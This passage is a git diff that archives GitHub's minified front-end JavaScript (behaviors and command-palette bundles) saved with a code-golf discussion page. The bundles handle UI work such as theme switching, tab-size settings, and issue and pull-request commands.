m=d.currentTarget,p=T.get(m);!p||(p.keypressed=!0,p.timer!=null&&clearTimeout(p.timer))}s(C,"onKeydownInput");function _(d){const m=d.currentTarget,p=T.get(m);!p||(p.keypressed=!1,p.inputed&&c(m))}s(_,"onKeyupInput");function x(d){const m=d.currentTarget,p=T.get(m);!p||(p.inputed=!0,p.keypressed||c(m))}s(x,"onInputInput");function u(d,m,p={wait:null}){T.set(d,{keypressed:!1,inputed:!1,timer:void 0,listener:m,wait:p.wait!=null?p.wait:100}),d.addEventListener("keydown",C),d.addEventListener("keyup",_),d.addEventListener("input",x)}s(u,"addThrottledInputEventListener");function g(d,m){d.removeEventListener("keydown",C),d.removeEventListener("keyup",_),d.removeEventListener("input",x);const p=T.get(d);p&&(p.timer!=null&&p.listener===m&&clearTimeout(p.timer),T.delete(d))}s(g,"removeThrottledInputEventListener");function h(d){const m=T.get(d);m&&m.listener.call(null,d)}s(h,"dispatchThrottledInputEvent")},5878:($,D,f)=>{"use strict";f.d(D,{Z:()=>c});function T(C){return C.offsetWidth<=0&&C.offsetHeight<=0}s(T,"hidden");function c(C){return!T(C)}s(c,"visible")},5642:($,D,f)=>{"use strict";f.d(D,{T:()=>c,k:()=>C});var T=f(70112);function c(){return(0,T.Zh)()?"supported":"unsupported"}s(c,"webauthnSupportLevel");async function C(){var _;return await((_=window.PublicKeyCredential)==null?void 0:_.isUserVerifyingPlatformAuthenticatorAvailable())?"supported":"unsupported"}s(C,"iuvpaaSupportLevel")}},$=>{var D=s(T=>$($.s=T),"__webpack_exec__");$.O(0,["vendors-node_modules_selector-observer_dist_index_esm_js","vendors-node_modules_lit-html_lit-html_js","vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe","vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_catalyst_lib_index_-87b1b3","vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_hotkey_dist_index-9f48bd","vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-c7e9ed","vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-df2537","app_assets_modules_github_behaviors_pjax_ts","app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-af52ef","app_assets_modules_github_behaviors_details_ts-app_assets_modules_github_behaviors_include-fr-a5a4c7"],()=>D(56851));var f=$.O()}]);})(); + +//# sourceMappingURL=behaviors-77f99b7e6910.js.map \ No newline at end of file diff --git a/archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/command-palette-958553b96f7b.js b/archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/command-palette-958553b96f7b.js new file mode 100644 index 0000000..09e09d2 --- /dev/null +++ b/archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/command-palette-958553b96f7b.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var vt=Object.defineProperty;var n=(S,C)=>vt(S,"name",{value:C,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["command-palette"],{86761:(S,C,a)=>{var i=a(90420),b=Object.defineProperty,v=Object.getOwnPropertyDescriptor,g=n((t,e,s,o)=>{for(var r=o>1?void 0:o?v(e,s):e,c=t.length-1,l;c>=0;c--)(l=t[c])&&(r=(o?l(e,s,r):l(r))||r);return o&&r&&b(e,s,r),r},"__decorateClass");const m="*";let p=n(class extends HTMLElement{constructor(){super(...arguments);this.scopeTypes=""}active(t,e){return this.scopeTypeMatch(t.type)&&this.modeMatch(e)}scopeTypeMatch(t){return this.scopeTypes?this.scopeTypes&&JSON.parse(this.scopeTypes).includes(t):!0}modeMatch(t){return this.char===m||this.char===t}character(){return this.char===m?"":this.char}},"CommandPaletteModeElement");g([i.Lj],p.prototype,"char",2),g([i.Lj],p.prototype,"placeholder",2),g([i.Lj],p.prototype,"scopeTypes",2),p=g([i.Ih],p);var d=Object.defineProperty,h=Object.getOwnPropertyDescriptor,u=n((t,e,s,o)=>{for(var r=o>1?void 0:o?h(e,s):e,c=t.length-1,l;c>=0;c--)(l=t[c])&&(r=(o?l(e,s,r):l(r))||r);return o&&r&&d(e,s,r),r},"command_palette_tip_element_decorateClass");const f="*",E="";let _=n(class extends HTMLElement{constructor(){super(...arguments);this.scopeTypes=E,this.mode=f,this.matchMode=E,this.value=f,this.onEmpty=!1,this.onError=!1}connectedCallback(){this.hidden=!0}available(t,e=!1,s=!1){return this.valueMatch(t.text)&&this.scopeTypeMatch(t.scope.type)&&this.modeMatch(t.mode)&&this.showOnEmpty(e)&&this.showOnError(s)}toggle(t,e=!1,s=!1){this.hidden=!this.available(t,e,s)}valueMatch(t){return this.value===f||this.value===t}scopeTypeMatch(t){return this.scopeTypes!==E&&(this.scopeTypes===f||JSON.parse(this.scopeTypes).includes(t))}modeMatch(t){if(this.matchMode===E)return this.mode===f||this.mode===t;{const e=new RegExp(this.matchMode);return t.match(e)!==null}}showOnEmpty(t){return this.onEmpty?t:!0}showOnError(t){return this.onError?t:!0}},"CommandPaletteTipElement");u([i.Lj],_.prototype,"scopeTypes",2),u([i.Lj],_.prototype,"mode",2),u([i.Lj],_.prototype,"matchMode",2),u([i.Lj],_.prototype,"value",2),u([i.Lj],_.prototype,"onEmpty",2),u([i.Lj],_.prototype,"onError",2),_=u([i.Ih],_);var G=a(47779),$e=Object.defineProperty,Fe=Object.getOwnPropertyDescriptor,R=n((t,e,s,o)=>{for(var r=o>1?void 0:o?Fe(e,s):e,c=t.length-1,l;c>=0;c--)(l=t[c])&&(r=(o?l(e,s,r):l(r))||r);return o&&r&&$e(e,s,r),r},"command_palette_token_element_decorateClass");let k=n(class extends HTMLElement{constructor(){super(...arguments);this.type="",this.id="",this.text="",this.value=""}},"CommandPaletteTokenElement");R([i.Lj],k.prototype,"type",2),R([i.Lj],k.prototype,"id",2),R([i.Lj],k.prototype,"text",2),R([i.Lj],k.prototype,"value",2),k=R([i.Ih],k);var gt=a(39200),He=a(23207),bt=a(2846),Y=a(80829),ze=a(4220),z=a(78584);class U extends z.j{fetch(e,s){return this.fetchSrc(e)}enabledFor(e){return this.modeMatch(e)&&this.scopeMatch(e)}clearCache(){}scopeMatch(e){return this.scopeTypes.length===0||this.scopeTypes.includes(e.scope.type)}modeMatch(e){return this.modes.includes(e.mode)||this.hasWildCard}async fetchSrc(e,s=""){var o;if(!this.src)throw new Error("No src defined");const r=new URL(this.src,window.location.origin),c=e.params();s&&c.set("mode",s),r.search=c.toString();const l=await fetch(r.toString(),{headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}});if(l.ok){const L=await l.json();return{results:((o=L.results)==null?void 0:o.map(w=>ze.g.build(w)))||[],octicons:L.octicons}}else return{error:!0,results:[]}}}n(U,"RemoteProvider");class H extends U{constructor(){super(...arguments);this.maxItems=1e3,this.scopedItems={},this.cachedOcticons={}}clearCache(){super.clearCache(),this.scopedItems={},this.cachedOcticons={}}get debounce(){return 0}async prefetch(e){if(!this.scopeMatch(e)||this.scopedItems[e.scope.id])return;const s=new Y.A("",e.mode,{subjectId:e.subjectId,subjectType:e.subjectType,returnTo:e.returnTo,scope:e.scope}),o=await this.fetchSrc(s,e.mode);this.octicons=o.octicons||[];const r=o.results||[];this.scopedItems[e.scope.id]=r,this.cachedOcticons[e.scope.id]=this.octicons}async fetch(e,s){const o=this.scopedItems[e.scope.id]||[],r=this.cachedOcticons[e.scope.id]||[];return{results:this.fuzzyFilter(o,e).slice(0,this.maxItems),octicons:r}}}n(H,"PrefetchedProvider");class ee extends H{enabledFor(e){const s=["discussion","issue","pull_request"];return e.mode===">"?!0:!!s.includes(e.scope.type)}}n(ee,"CommandsProvider");var Ue=a(81072),V=a(98810);class te extends H{async fetchSrc(e){if(!this.src)throw new Error("No src provided");const s=new URL(this.src,window.location.origin);s.search=e.params().toString();const r=await(await fetch(s.toString(),{headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})).json();if(!r.results)return;const c=r.results[0];if(c.base_file_path){const l=c.base_file_path,L=c.paths;r.results=L.map(w=>V.s.from({title:w,path:`${l}/${w}`,icon:"file-color-fg-muted",group:"files"}))}else c.action&&c.action.type==="access_policy"?r.results=[new Ue.i(c)]:r.results=[];return r}async fetch(e,s=!1){const o=e.text.match(/(.+):(\d*)\s*$/);return o?this.fetchWithLineNumbers(e,o):super.fetch(e,s)}async fetchWithLineNumbers(e,s){const o=s[1],r=s[2],c=new Y.A(o,e.mode,{scope:e.scope}),l=[],L=(await super.fetch(c,!1)).results;for(const w of L)w instanceof V.s&&l.push(this.convert(w,r));return{results:l}}convert(e,s){return s===""||!(e instanceof V.s)||(e.title=`${e.title}:${s}`,e.action.path=`${e.action.path}#L${s}`),e}}n(te,"FilesProvider");class se extends z.j{enabledFor(e){return!0}clearCache(){}get hasCommands(){return!1}get debounce(){return 0}async fetch(e,s=!1){return e.mode!=="?"&&!s?{results:[]}:{results:Array.from(this.element.querySelectorAll("command-palette-help")).filter(c=>c.show(e)).map((c,l)=>c.toItem(l))}}}n(se,"HelpProvider");var Ve=a(31411);class oe extends z.j{enabledFor(e){return!(e.isBlank()||e.mode==="?"||e.mode===">")}clearCache(){}get hasCommands(){return!1}async fetch(e,s=!1){return{results:[Ve.K.create(e)]}}}n(oe,"SearchLinksProvider");class q{static create(e){const s=this.providers[e.type];if(!s)throw new Error(`Unknown provider type: ${e.type}`);return new s(e)}}n(q,"ServerDefinedProviderFactory"),q.providers={remote:U,prefetched:H,commands:ee,files:te,help:se,"search-links":oe};var qe=Object.defineProperty,We=Object.getOwnPropertyDescriptor,j=n((t,e,s,o)=>{for(var r=o>1?void 0:o?We(e,s):e,c=t.length-1,l;c>=0;c--)(l=t[c])&&(r=(o?l(e,s,r):l(r))||r);return o&&r&&qe(e,s,r),r},"server_defined_provider_element_decorateClass");let T=n(class extends He.b{constructor(){super(...arguments);this._wildcard="*"}get debounce(){return parseInt(this.fetchDebounce,10)}get hasCommands(){return this.supportsCommands}get hasWildCard(){return this.modes.includes(this._wildcard)}get modes(){return this.supportedModes===""&&(this._modes=[""]),this._modes||(this._modes=JSON.parse(this.supportedModes)),this._modes}get scopeTypes(){return this.supportedScopeTypes===""?[]:(this._scopeTypes||(this._scopeTypes=JSON.parse(this.supportedScopeTypes)),this._scopeTypes)}connectedCallback(){this.provider=q.create(this)}},"ServerDefinedProviderElement");j([i.Lj],T.prototype,"type",2),j([i.Lj],T.prototype,"supportedModes",2),j([i.Lj],T.prototype,"fetchDebounce",2),j([i.Lj],T.prototype,"supportedScopeTypes",2),j([i.Lj],T.prototype,"src",2),j([i.Lj],T.prototype,"supportsCommands",2),T=j([i.Ih],T);var Ne=a(8665),Ze=Object.defineProperty,Ke=Object.getOwnPropertyDescriptor,B=n((t,e,s,o)=>{for(var r=o>1?void 0:o?Ke(e,s):e,c=t.length-1,l;c>=0;c--)(l=t[c])&&(r=(o?l(e,s,r):l(r))||r);return o&&r&&Ze(e,s,r),r},"command_palette_help_element_decorateClass");let D=n(class extends HTMLElement{connectedCallback(){this.hidden=!0}show(t){return this.isEnabledScopeType(t)}isEnabledScopeType(t){return this.scopeTypes?this.scopeTypes&&JSON.parse(this.scopeTypes).includes(t.scope.type):!0}toItem(t){const e={group:this.group,title:this.titleElement.innerHTML,index:t};return this.prefix&&(e.prefix=this.prefix),this.hintElement.textContent&&(e.persistentHint=this.hintElement.innerHTML),Ne.B.from(e)}},"CommandPaletteHelpElement");B([i.Lj],D.prototype,"group",2),B([i.Lj],D.prototype,"prefix",2),B([i.Lj],D.prototype,"scopeTypes",2),B([i.fA],D.prototype,"titleElement",2),B([i.fA],D.prototype,"hintElement",2),D=B([i.Ih],D);var Ct=a(68313),Et=a(96753),St=a(28760),_t=a(3991),Je=a(77417);class y{constructor(){this.iconType="octicon",this.group="commands",this.priority=0,this.dismissAfterRun=!0}static item(e={}){return new Je.U(new this,e)}run(e){new Error("Not implemented")}isApplicable(e){return!0}}n(y,"MainWindowCommand");class W extends y{constructor(){super(...arguments);this.group="global_commands"}}n(W,"MainWindowGlobalCommand");class ne extends y{constructor(){super(...arguments);this.title="Delete discussion\u2026",this.icon="trash-color-fg-muted"}get deleteButton(){return document.querySelector("button#dialog-show-delete-discussion")}get dialogElement(){return document.querySelector("#delete-discussion")}isApplicable(){return this.deleteButton!=null}run(){const e=this.deleteButton;if(e){e.click(),setTimeout(()=>{var s,o;(o=(s=this.dialogElement)==null?void 0:s.querySelector('button[type="submit"]'))==null||o.focus()},0);return}}}n(ne,"DeleteDiscussion");class re extends y{constructor(){super(...arguments);this.title="Edit discussion body",this.icon="pencil-color-fg-muted"}get editButton(){return document.querySelector(".js-discussions-comment-edit-button")}isApplicable(){return this.editButton!=null}run(){var e;(e=this.editButton)==null||e.click()}}n(re,"EditDiscussion");class ie extends y{constructor(){super(...arguments);this.title="Transfer discussion\u2026",this.icon="arrow-right-color-fg-muted"}fetchDetails(){return document.querySelector("details.js-transfer-discussion-details")}isApplicable(){return this.fetchDetails()instanceof HTMLDetailsElement}run(){var e;const s=this.fetchDetails();if(s){const o=n(()=>{setTimeout(()=>{var r;(r=s==null?void 0:s.querySelector("[data-menu-button]"))==null||r.focus()},0)},"focusMenu");(e=s.querySelector("include-fragment"))==null||e.addEventListener("load",o),s.open=!0,o()}}}n(ie,"TransferDiscussion");const Qe=[ne,ie,re];var M=a(64992),ae=a(33241),ce=a(88513);class x extends y{constructor(){super(...arguments);this.title="2 spaces",this.iconType="none",this.tabSize="2",this.group=""}async run(e){this.updateTabSize(),this.saveSettings(e)}updateTabSize(){const e=document.querySelectorAll("[data-tab-size]");for(const s of e)s.setAttribute("data-tab-size",this.tabSize)}async saveSettings(e){const s=new FormData;s.set("tab_size_rendering_preference",this.tabSize);const o="Failed to save tab size preference";try{(await(0,ce.Q)("/settings/appearance/tab_size",{method:"PUT",body:s})).ok?e.displayFlash("success","Tab size rendering updated"):e.displayFlash("error",o)}catch{e.displayFlash("error",o)}}}n(x,"TabSizeTwo");class le extends x{constructor(){super(...arguments);this.title="3 spaces",this.tabSize="3"}}n(le,"TabSizeThree");class ue extends x{constructor(){super(...arguments);this.title="4 spaces",this.tabSize="4"}}n(ue,"TabSizeFour");class de extends x{constructor(){super(...arguments);this.title="6 spaces",this.tabSize="6"}}n(de,"TabSizeSix");class he extends x{constructor(){super(...arguments);this.title="8 spaces",this.tabSize="8"}}n(he,"TabSizeEight");class pe extends x{constructor(){super(...arguments);this.title="10 spaces",this.tabSize="10"}}n(pe,"TabSizeTen");class me extends x{constructor(){super(...arguments);this.title="12 spaces",this.tabSize="12"}}n(me,"TabSizeTwelve");class fe extends W{constructor(){super(...arguments);this.title="Change tab size rendering",this.icon="gear-color-fg-muted",this.priority=10,this.dismissAfterRun=!1}run(e){e.pushPage(new ae.Z4(this.title,"tab-sizes",this.pageItems),!0)}get pageItems(){return[x,le,ue,de,he,pe,me].map(e=>e.item())}select(e){this.run(e)}}n(fe,"SwitchTabSize");class ye extends y{constructor(){super(...arguments);this.title="Open in github.dev editor",this.icon="codespaces-color-fg-muted",this.priority=10}isApplicable(){return this.fetchLink()instanceof HTMLAnchorElement}fetchLink(){return document.querySelector(".js-github-dev-shortcut")}run(){var e;(e=this.fetchLink())==null||e.click()}}n(ye,"OpenInDotDev");class ve extends W{constructor(){super(...arguments);this.title="Switch theme",this.icon="paintbrush-color-fg-muted",this.priority=9,this.dismissAfterRun=!1}run(e){e.pushPage(new ae.Z4(this.title,"switch-theme-page-1",this.pageItems),!0)}get pageItems(){return[I,Ce,be,ge,Ee].map(e=>e.item())}select(e){this.run(e)}}n(ve,"SwitchTheme");class I extends y{constructor(){super(...arguments);this.title="Default dark",this.icon="moon-color-fg-muted",this.mode="dark",this.theme="dark",this.group=""}applyTheme(){this.loadStyles(this.theme),this.mode!=="auto"&&(0,M.on)(this.theme,this.mode),(0,M.h5)(this.mode)}async run(){this.applyTheme(),this.saveSettings(this.mode,this.lightTheme,this.darkTheme)}async saveSettings(e=this.mode,s,o){const r=new FormData;r.set("color_mode",e),s&&r.set("light_theme",s),o&&r.set("dark_theme",o);const l=await(await(0,ce.Q)("/settings/appearance/color_mode",{method:"PUT",body:r})).json();this.loadStyles(l.light_theme),this.loadStyles(l.dark_theme),(0,M.on)(l.light_theme,"light"),(0,M.on)(l.dark_theme,"dark"),(0,M.h5)(l.color_mode)}loadStyles(e){const s=document.querySelector(`link[data-color-theme='${e}']`);s&&!s.hasAttribute("href")&&s.hasAttribute("data-href")&&s.setAttribute("href",s.getAttribute("data-href"))}get darkTheme(){return this.mode==="dark"?this.theme:(0,M.yn)("dark")}get lightTheme(){return this.mode==="light"?this.theme:(0,M.yn)("light")}}n(I,"SwitchToDark");class ge extends I{constructor(){super(...arguments);this.title="Switch theme to dark high contrast",this.theme="dark_high_contrast"}}n(ge,"SwitchToDarkHighContrast");class be extends I{constructor(){super(...arguments);this.title="Dark dimmed",this.theme="dark_dimmed"}}n(be,"SwitchToDarkDimmed");class Ce extends I{constructor(){super(...arguments);this.title="Default light",this.icon="sun-color-fg-muted",this.mode="light",this.theme="light"}}n(Ce,"SwitchToLight");class Ee extends I{constructor(){super(...arguments);this.title="Sync with system settings",this.icon="sun-color-fg-muted",this.mode="auto"}get darkTheme(){}get lightTheme(){}}n(Ee,"SwitchToAuto");class Se extends y{constructor(){super();const e=this.isSubscribe();this.title=`${e?"Subscribe":"Unsubscribe"}`,this.icon=`${e?"bell":"bell-slash"}-color-fg-muted`}isApplicable(){var e;return this.fetchButton()instanceof HTMLButtonElement&&((e=this.fetchButton())==null?void 0:e.disabled)===!1}isSubscribe(){var e,s;return((s=(e=this.fetchButton())==null?void 0:e.textContent)==null?void 0:s.trim())==="Subscribe"}fetchButton(){return document.querySelector(".thread-subscribe-button")}run(){var e;(e=this.fetchButton())==null||e.click()}}n(Se,"UpdateSubscription");const Xe=[ye,fe,ve,Se];function _e(t){t.focus(),t.selectionStart=t.selectionEnd=t.value.length}n(_e,"moveCursorToEnd");class N extends y{constructor(){super(...arguments);this.title="Edit issue body",this.icon="pencil-color-fg-muted"}issueBody(){return document.querySelector(".js-command-palette-issue-body")}isIssue(){return!!this.issueBody()}isApplicable(){return this.isIssue()}run(){const e=document.createElement("button");e.hidden=!0,e.classList.add("js-comment-edit-button");const s=document.querySelector("div.js-comment");s==null||s.appendChild(e),e.click(),e.remove(),setTimeout(()=>{var o;const r=(o=s==null?void 0:s.parentElement)==null?void 0:o.querySelector("textarea.js-comment-field");r&&_e(r)},0)}}n(N,"EditIssueBody");class Z extends y{constructor(){super(...arguments);this.title="Edit issue title",this.icon="pencil-color-fg-muted"}issueBody(){return document.querySelector(".js-command-palette-issue-body")}isIssue(){return!!this.issueBody()}isApplicable(){return this.fetchButton()instanceof HTMLButtonElement&&this.isIssue()}fetchButton(){return document.querySelector(".js-title-edit-button")}run(){var e;(e=this.fetchButton())==null||e.click(),setTimeout(()=>{const s=document.querySelector("input#issue_title[autofocus]");s&&_e(s)},0)}}n(Z,"EditIssueTitle");class we extends y{constructor(){super(...arguments);this.title="Transfer issue\u2026",this.icon="arrow-right-color-fg-muted"}isApplicable(){return this.fetchDetails()instanceof HTMLDetailsElement}fetchDetails(){return document.querySelector("details.js-transfer-issue")}run(){var e;const s=this.fetchDetails();if(s){const o=n(()=>{setTimeout(()=>{var r;(r=s.querySelector("[data-menu-button]"))==null||r.focus()},0)},"focusMenu");(e=s.querySelector("include-fragment"))==null||e.addEventListener("load",o),s.open=!0,o()}}}n(we,"TransferIssue");class Te extends y{constructor(){super();const e=this.isLock();this.title=`${e?"Lock":"Unlock"} conversation`,this.icon=`${e?"lock":"key"}-color-fg-muted`}isApplicable(){return this.fetchDetails()instanceof HTMLDetailsElement}isLock(){var e,s;return((s=(e=document.querySelector("summary.lock-toggle-link"))==null?void 0:e.textContent)==null?void 0:s.trim())==="Lock conversation"}fetchDetails(){return document.querySelector("details.js-lock-issue")}run(){const e=this.fetchDetails();e&&(e.open=!0,setTimeout(()=>{var s;(s=document.querySelector("#unlock-reason"))==null||s.focus()},0))}}n(Te,"LockIssue");class xe extends y{constructor(){super(...arguments);this.title="Delete issue\u2026",this.icon="trash-color-fg-muted"}isApplicable(){return this.fetchDetails()instanceof HTMLDetailsElement}fetchDetails(){return document.querySelector("details.js-delete-issue")}run(){const e=this.fetchDetails();e&&(e.open=!0,setTimeout(()=>{var s;(s=e.querySelector('button[type="submit"]'))==null||s.focus()},0))}}n(xe,"DeleteIssue");class Pe extends y{constructor(){super(...arguments);this.title="Convert issue to discussion\u2026",this.icon="comment-discussion-color-fg-muted"}isApplicable(){return this.fetchDetails()instanceof HTMLDetailsElement}fetchDetails(){return document.querySelector("details.js-convert-to-discussion")}run(){var e;const s=this.fetchDetails();if(s){const o=n(()=>{setTimeout(()=>{var r;(r=s.querySelector("[data-menu-button]"))==null||r.focus()},0)},"focusMenu");(e=s.querySelector("include-fragment"))==null||e.addEventListener("load",o),s.open=!0,o()}}}n(Pe,"ConvertToDiscussion");const Ge=[Z,N,Te,we,xe,Pe];var Ye=a(78078),P=a(76745);class K extends y{constructor(){super(...arguments);this.title="Open in new codespace",this.icon="codespaces-color-fg-muted",this.priority=11}isApplicable(){const e=this.fetchElements();return!!(e.codeModal&&e.codespacesForm&&e.newCodespacesButton&&e.codespacesTab)}run(){const{codeModal:e,codespacesTab:s,newCodespacesButton:o}=this.fetchElements();!(e&&s&&o)||(e.open=!0,s.click(),o instanceof HTMLButtonElement&&o.click())}fetchElements(){const e=document.querySelector(".js-create-codespaces-form-command"),s=(e==null?void 0:e.closest("details"))||null,o=(s==null?void 0:s.querySelector('[data-tab="cloud"]'))||null,r=(e==null?void 0:e.querySelector('summary[role="button"], button[type="submit"]'))||null;return{codespacesForm:e,codeModal:s,codespacesTab:o,newCodespacesButton:r}}}n(K,"OpenCodespace");var $=a(76168);class Ae extends N{constructor(){super(...arguments);this.title="Edit pull request body"}pullRequestBody(){return document.querySelector(".js-command-palette-pull-body")}isPullRequest(){return!!this.pullRequestBody()}isApplicable(){return this.isPullRequest()}}n(Ae,"EditPullRequestBody");class Le extends Z{constructor(){super(...arguments);this.title="Edit pull request title"}pullRequestBody(){return document.querySelector(".js-command-palette-pull-body")}isPullRequest(){return!!this.pullRequestBody()}isApplicable(){return this.fetchButton()instanceof HTMLButtonElement&&this.isPullRequest()}}n(Le,"EditPullRequestTitle");class je extends y{constructor(){super(...arguments);this.title="Update current branch",this.icon="sync-color-fg-muted"}isApplicable(){return this.fetchButton()instanceof HTMLButtonElement}fetchButton(){return document.querySelector(".js-update-branch-form button")}run(){const e=this.fetchButton();e&&(e.scrollIntoView({behavior:"smooth",block:"center"}),e.click())}}n(je,"UpdateBranch");class De extends y{constructor(){super(...arguments);this.title="Convert to draft",this.icon="git-pull-request-draft-color-fg-muted"}isApplicable(){return this.fetchButton()instanceof HTMLButtonElement}fetchButton(){return document.querySelector(".js-convert-to-draft")}run(){var e;const s=(e=this.fetchButton())==null?void 0:e.closest("details");s&&(s.open=!0,setTimeout(()=>{var o;(o=s.querySelector(".js-convert-to-draft"))==null||o.focus()},0))}}n(De,"ConvertToDraft");class Me extends y{constructor(){super(...arguments);this.title="Copy current branch name",this.icon="copy-color-fg-muted"}isApplicable(){return this.fetchClipboardCopy()instanceof P.Z}fetchClipboardCopy(){return document.querySelector(".js-copy-branch")}async run(e){const s=this.fetchClipboardCopy();if(s instanceof P.Z){const o=s.value;try{await(0,$.z)(o),e.displayFlash("success","Branch name copied to clipboard!")}catch{e.displayFlash("error","Unable to copy branch name to clipboard!")}}}}n(Me,"CopyBranchName");const et=[Me,Le,Ae,je,De,K];class ke extends y{constructor(){super(...arguments);this.title="Copy file permalink",this.icon="copy-color-fg-muted"}isApplicable(){return this.fetchPermalinkContainer()instanceof HTMLAnchorElement}fetchPermalinkContainer(){return document.querySelector(".js-permalink-shortcut")}async run(e){const s=this.fetchPermalinkContainer();if(s){const o=`${s.href}${window.location.hash}`;try{await(0,$.z)(o),e.displayFlash("success","Copied permalink!")}catch{e.displayFlash("error","Failed to copy permalink!")}}}}n(ke,"CopyPermalink");class Be extends y{constructor(){super(...arguments);this.title="Clone repository: Copy HTTPS",this.icon="copy-color-fg-muted",this.priority=4}isApplicable(){return this.backendCommandsDisabled()&&this.fetchClipboardCopy()instanceof P.Z}fetchClipboardCopy(){return document.querySelector(".js-clone-url-http")}backendCommandsDisabled(){return!!window.commandPalette&&!window.commandPalette.hasAttribute("data-commands-path")}async run(e){const s=this.fetchClipboardCopy();if(s instanceof P.Z){const o=s.value;try{await(0,$.z)(o),e.displayFlash("success","Clone URL copied!")}catch{e.displayFlash("error","Clone URL couldn't be copied")}}}}n(Be,"CloneCopyHttps");class Ie extends y{constructor(){super(...arguments);this.title="Clone repository: Copy SSH",this.icon="copy-color-fg-muted",this.priority=3}isApplicable(){return this.backendCommandsDisabled()&&this.fetchClipboardCopy()instanceof P.Z}fetchClipboardCopy(){return document.querySelector(".js-clone-url-ssh")}backendCommandsDisabled(){return!!window.commandPalette&&!window.commandPalette.hasAttribute("data-commands-path")}async run(e){const s=this.fetchClipboardCopy();if(s instanceof P.Z){const o=s.value;try{await(0,$.z)(o),e.displayFlash("success","Clone URL copied!")}catch{e.displayFlash("error","Clone URL couldn't be copied")}}}}n(Ie,"CloneCopySsh");class Oe extends y{constructor(){super(...arguments);this.title="Clone repository: Copy GitHub CLI",this.icon="copy-color-fg-muted",this.priority=2}isApplicable(){return this.backendCommandsDisabled()&&this.fetchClipboardCopy()instanceof P.Z}fetchClipboardCopy(){return document.querySelector(".js-clone-url-gh-cli")}backendCommandsDisabled(){return!!window.commandPalette&&!window.commandPalette.hasAttribute("data-commands-path")}async run(e){const s=this.fetchClipboardCopy();if(s instanceof P.Z){const o=s.value;try{await(0,$.z)(o),e.displayFlash("success","Clone URL copied!")}catch{e.displayFlash("error","Clone URL couldn't be copied")}}}}n(Oe,"CloneCopyCli");const tt=[Be,Ie,Oe,ke,K];class J extends Ye.B{constructor(){super(...arguments);this.itemsByType={},this.items=[],this.needsFetch=!0}enabledFor(e){const s=["discussion","issue","pull_request"];return e.mode===">"?!0:!!s.includes(e.scope.type)}get hasCommands(){return!0}async fetch(e){return this.items=[...Ge.map(o=>o.item()),...et.map(o=>o.item()),...tt.map(o=>o.item()),...Qe.map(o=>o.item()),...Xe.map(o=>o.item())].filter(o=>o.isApplicable(e)),{results:this.fuzzyFilter(this.items,e)}}get debounce(){return 0}clearCache(){}}n(J,"MainWindowCommandsProvider"),window.commandPalette&&window.commandPalette.registerProvider("main-window-commands-provider",new J),window.addEventListener("command-palette-ready",()=>{var t;(t=window.commandPalette)==null||t.registerProvider("main-window-commands-provider",new J)});var O=a(64465),st=a(49815),ot=Object.defineProperty,nt=Object.getOwnPropertyDescriptor,F=n((t,e,s,o)=>{for(var r=o>1?void 0:o?nt(e,s):e,c=t.length-1,l;c>=0;c--)(l=t[c])&&(r=(o?l(e,s,r):l(r))||r);return o&&r&&ot(e,s,r),r},"command_palette_input_element_decorateClass");let A=n(class extends HTMLElement{constructor(){super(...arguments);this.setupComplete=!1,this.connected=!1}static get observedAttributes(){return["input-value","typeahead","scope"]}setup(){this.classList.add("d-flex","flex-items-center","flex-nowrap","py-1","pl-3","pr-2","border-bottom"),this.input=this.querySelector("input.js-input"),this.overlayInput=this.querySelector("input.js-overlay-input"),this.scopeElement=this.querySelector("command-palette-scope"),this.searchIcon=this.querySelector(".js-search-icon"),this.spinner=this.querySelector(".js-spinner"),this.defaultScope=this.scope,this.hasAttribute("autofocus")&&this.input.focus(),this.inputValue.length!==0&&this._dispatchEvent("command-palette-input"),this.setupComplete=!0}connectedCallback(){this.setupComplete||this.setup(),this.inputValue=this.getAttribute("input-value")||"",this.typeahead=this.getAttribute("typeahead")||"",this.placeholder=this.getAttribute("placeholder")||"",this.connected=!0}attributeChangedCallback(t,e,s){!this.input||(t==="typeahead"?this.typeahead=s:t==="input-value"&&(this.inputValue=s,this._dispatchEvent("command-palette-input")))}focus(){this.input.focus()}setRemovedTokenAndSelect(t){t&&(this.inputValue=t),this.focus(),this.input.select()}get scope(){return this.scopeElement.scope}set scope(t){this.scopeElement.scope=t,this.clearButton.hidden=!this.hasSomethingToClear()}hasScope(){return this.scopeElement.hasScope()}clearScope(){return this.scopeElement.clearScope()}removeToken(){return this.scopeElement.removeToken()}get placeholder(){return this.input.getAttribute("placeholder")||""}set placeholder(t){this.input.setAttribute("placeholder",t)}get typeaheadPlaceholderText(){return this.typeaheadPlaceholder.textContent||""}set typeaheadPlaceholderText(t){this.typeaheadPlaceholder.textContent=t}get inputValue(){var t;return((t=this.input)==null?void 0:t.value)||""}set inputValue(t){this.input.value=t,this.typeahead=t,this.resetPlaceholder(),this.onInput()}get overlay(){return this.overlayInput.value}set overlay(t){this.overlayInput.value=t}get typeahead(){return this.typeaheadValue}set typeahead(t){if(this.typeaheadValue=this.overlay+t,this.mirror.textContent=this.inputValue,t==="")this.typeaheadText.textContent="";else if(this.placeholder="",this.typeaheadPlaceholderText="",this.valueStartsWithTypeahead){const e=this.inputValue.length-(this.overlay?1:0);this.typeaheadText.textContent=t.substring(e)}else this.typeaheadText.textContent=` \u2013 ${t}`}showModePlaceholder(t=""){this.typeaheadPlaceholderText=t}get valueStartsWithTypeahead(){return this.typeaheadValue.toLowerCase().startsWith(this.inputValue.toLowerCase())}get isCursorAtEnd(){return this.inputValue.length===this.input.selectionStart}set 